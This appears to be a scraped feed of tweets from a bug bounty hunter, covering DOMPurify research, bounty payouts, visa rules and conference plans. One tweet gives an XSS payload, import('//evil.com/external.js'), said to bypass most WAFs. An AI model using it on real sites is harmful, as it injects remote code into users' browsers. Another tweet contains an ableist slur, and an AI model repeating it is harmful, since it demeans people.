RT @kevin_mizu: I'm very happy to finally share the second part of my DOMPurify security research 🔥 This article mostly focuses on DOMPuri…

@LiveOverflow import('//evil.com/external.js') Bypasses most WAFs and give me the option to change my XSS POC without changing the URL I give to the triage.

I'm really looking forward to working with and learning from some of the smartest people I've met!

@minometidji @Hacker0x01 Well done, congrats! Curious what bug class cryptocom paid 60k for?

@fwrnr These boomers will never understand.

Is this a new Zealand specific law? Because that isn't how it works everywhere else. Where the company is based has no bearing to it at all generally. If you work remotely for a US company, while travelling in Japan on tourist visa, that's technically illegal. No one ever gets caught for it, and most people do it, but it is very much against the terms of your visa. You can't work within a country for an employer (regardless of where their headquarters are) while on a tourist visa.

RT @kevin_mizu: I'm thrilled to finally share my research on HTML parsing and DOMPurify at @GreHack 2024 📜 The research article is availab…

@renniepak How

@renniepak Shouldn't be a hot take.

RT @fwrnr: @renniepak There is no incentive for basically any fair treatment of researchers, until researchers come together (unionize) and…

@MrTuxracer Then see you around!

If anyone else is in Seoul for POC, hit me up and we can get a beer.

COOP header, where fun dies.

@pors @_FORAB @ASvanevik @TAIRAMASAAKI Have you graduated in the past 5 years? Then you're eligible. If you're interested I can hook you up with my immigration lawyer.

@r4dl3_ The company name is visible :P

@njcve_ Around $100 on VPS, $100 on various tech subscriptions, $100 on stuff to have access to certain scopes, $200 on accounting. So around $500 in overall costs at least.

RT @DanielMiessler: Today I learned that iPhones owned by civilians are the same as pagers belonging to Hezbollah operatives. How can some…

@bountywriteups Are u fucking retarded?

@The1Jaren @chux13786509 whoops ur right